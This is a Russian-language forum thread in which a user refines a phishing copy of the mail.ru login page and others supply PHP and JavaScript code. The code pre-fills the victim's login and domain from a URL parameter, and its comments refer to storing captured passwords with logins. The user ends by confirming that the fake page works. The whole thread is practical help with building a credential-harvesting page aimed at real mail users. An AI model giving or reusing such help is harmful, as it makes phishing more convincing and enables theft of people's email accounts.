Есть фейк. Делал со страницы http://win.mail.ru/cgi-bin/login?email=&fail=1 Фейк получился на ура, но есть одна проблема. Не хватает такой фишки как: http://win.mail.ru/cgi-bin/login?email=666@bk.ru&fail=1 http://win.mail.ru/cgi-bin/login?email=777@mail.ru&fail=1 Т е чтобы клетка логин не оставалась пустая, а вписывала автоматически логин жертвы, пробывал вписать: МойСайт.Ру/login?email=666@bk.ru&fail=1 ошибка, однако: МойСайт.Ру/?email=666@bk.ru&fail=1 грузит Но поле остается пустым. Можно конечно прописать заместо пустого поле любой логин, но тогда тогда все пользователи увидят один и тот же логин. В общем нужно МойСайт.Ру/?email=666@bk.ru&fail=1 666 это прописывался в логине, а бк в выборе сервера. (так же как на официальном сайте) Пытался что то сделать с index.php, но не нашел такого.. Думал создать отдельный php для каждого адреса, чтобы сам прописывал поле логин на главной страницы...
Делаешь ф-цию,1 параметр - логин делаешь с значением по умолчанию и дальше,как обычно. Т.е. в ф-цию весь свой скрипт фейка (пхп) вставляешь. А логин делай рандомно.
как? Понятней напиши, я не специалист... только любитель.. ф-цию это что?... Где это все делать куда вставлять...
Мда. Программисты хреновы. Функция - подпрограмма. function functName([argument]) { body; } Вот,в аргументе передаешь переменную,вида: PHP: function fake(login) //Логин - пост запрос 4_ПОСТлогин { if(!trim(login)) { $login = "blablablab"; //формируешь новую ссылку + сохраняешь пароль с логином } else { //Формируешь ссылку + сохрн. пассы с логином } } http://www.php.ru/forum/ http://www.php.ru/manual/
Это делать все в index.php или в другом, который будет выполнять этот запрос... //формируешь новую ссылку + сохраняешь пароль с логином как их формировать и зачем сохранять пароль с логином //Формируешь ссылку + сохрн. пассы с логином тоже самое ссылку на фейк что ли формировать? И что такое 4_ПостЛогин.. Извините за тупые вопросы.. Но я вообще не программист, первые дни общаюсь с php. Прошу объяснить подробно.
Эм,ну,тогда лучше поучи хоть чуть-чуть что-то сам. Яхз,какой ты там любитель,если,даже,не знаешь,что такое функция. Почитай основы,поймешь.Честно-честно!
Функция понятно, но Вы же написали ф-цию, я в первый раз вижу такие сокращения.. Блин помоги, я зашел не знаю что читать.. Там нет ни запросов, ничего подобного (, т е где то есть но где...
PHP: if (!empty($_GET['email'])) { $email = explode('@', $_GET['email']); $username = $email[0]; $domain = $email[1]; } В итоге у нас в $username будет лежать логин (в нужном input'e - value=<? echo $username; ?>) А в $domain - домен.
FindeR, Я вроде на пути к истине... В общем я вписал код: <?php if (!empty($_GET['email'])) { $email = explode('@', $_GET['email']); $username = $email[0]; $domain = $email[1]; } ?> в файл index.php и логин заработал! Но вот mail/bk/inbox/list меняться не хочет, хотя я прописал: <td width=37%><select class=w_100 name="Domain"><option value="<? echo $domain; ?>" SELECTED>@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="bk.ru" >@bk.ru</option><option value="list.ru" >@list.ru</option></select></td> Не подскажите, где я накосячил?
Как вариант: Code: <select> <option id="inbox">mail</option> <option id="inbox">inbox</option> <option id="bk">bk</option> <option id="list">list</option> </select> Рисуем выпадающий список. Теперь симбиоз яваскрипта и php: Code: <? if (!empty($domain)) { ?> <script> document.getElementById('<? echo $domain; ?>').selected = true; </script> <? } ?> Т.е. проверяем опять же $domain - если не пустая, то делаем активной пункт выпадающего меню, у которого id такой же, как значение $domain. Главное этот скрипт после меню вставлять и задать пунктам правильные id. Правда, в некоторых случаях IE может обидеться на такой код, но работать будет
<select> <option id="inbox">mail</option> <option id="inbox">inbox</option> <option id="bk">bk</option> <option id="list">list</option> </select> Поправил на <select> <option id="mail.ru">@mail.ru</option> <option id="inbox.ru">@inbox.ru</option> <option id="bk.ru">@bk.ru</option> <option id="list.ru">@list.ru</option> </select> Потом выложил скрипт. Были трудности, но они позади... Все работает!!! Большое спасибо!!! FindeR Респект!